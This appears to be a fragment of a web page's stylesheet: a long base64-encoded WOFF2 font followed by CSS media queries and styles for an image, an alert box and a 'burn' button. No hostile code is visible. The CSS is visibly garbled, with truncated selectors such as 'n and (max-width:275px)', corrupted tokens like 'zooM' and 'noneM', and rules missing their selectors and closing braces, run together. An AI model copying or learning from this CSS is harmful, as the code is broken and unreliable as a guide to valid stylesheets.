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") format('woff2');
  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;
@media screen and (max-width:400px){body{zoom: 0.9;}}
@media screen and (max-width:350px){body{zoom: 0.8;}}
@media screen and (max-width:315px){body{zoom: 0.7;}}
n and (max-width:275px){body{zoom: 0.6;}}
@media screen and (max-width:235px){body{zoom: 0.5;}}
@media screen and (max-width:195px){body{zoom: 0.4;}}
@media screen and (max-width:155px){body{zoom: 0.33;}}
@media screen and (max-width:130px){body{zoom: 0.25;}}
@media screen and (max-width:100px){body{zoom: 0.20;}}
@media screen and (max-width:80px){body{zoom: 0.15;}}
@media screen and (max-width:60px){body{zoom: 0.1;}}
@media screen and (max-width:40px){body{zoom: 0.066;}}
@media screen and (max-width:20px){body{zooM
  image-rendering: pixelated;
  image-rendering: -moz-crisp-edges;
  image-rendering: crisp-edges;
  filter: contrast(2.5) ;/*sepia(1) saturate(15);*/
  position:  absolute;
  left:  calc(50% - 128px);
  top:  calc(50% - 128px);
  position:  absolute;
  left:  calc(50% - 85px);
  top:  calc(50% - 18px + 128px);
  filter: contrast(2);
  border: 2px solid white;
  /*font-family: monospace;*/
  background-color:  #ff0000;
  font-weight:  bold;
    background-color:  #000000ff;
body.open button#burn{
   background-color: red;
  background-color:  black;
body.open .container{
  -webkit-user-select: noneM
  -ms-user-select: none; /* IE 10 and IE 11 */
  user-select: none; /* Standard syntax */
body, .alert, button {
  /*font-family: monospace;
  font-size:  15px;*/
  font-family: mono;
    position: fixed;
    min-height: 100px;
    left: calc(50% - 200px - 2px);
    top: calc(50% - 100px + 10px);
    border: 2px solid black;
    background: #000;
  margin: 10px 10px;
  border:  0px solid grey;
  background-color:  grey;
